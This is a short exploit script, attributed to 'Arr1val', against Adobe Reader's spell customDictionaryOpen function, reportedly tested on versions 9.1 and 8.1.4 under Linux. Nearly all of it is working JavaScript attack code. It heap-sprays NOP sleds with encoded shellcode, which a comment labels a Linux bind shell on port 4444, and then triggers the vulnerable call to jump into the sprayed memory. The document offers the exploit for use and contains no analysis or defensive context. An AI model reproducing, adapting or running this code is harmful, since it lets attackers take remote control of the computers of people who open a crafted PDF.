Adobe Reader Spell Exploit

`//##############  
//Exploit made by Arr1val  
//Proved in adobe 9.1 and adobe 8.1.4 on linux  
//##############  
  
var memory;  
function New_Script()  
{  
var nop = unescape("%u9090%u9090");  
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444  
  
  
  
while(nop.length <= 0x10000/2) nop+=nop;  
nop=nop.substring(0,0x10000/2 - shellcode.length);  
  
memory=new Array();  
for(i=0;i<0x6ff0;i++)  
{memory[i]=nop + shellcode;}  
  
//start exploit now  
start();  
  
function start()  
{  
this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141 ;)  
}  
  
}  
  
//############################  
`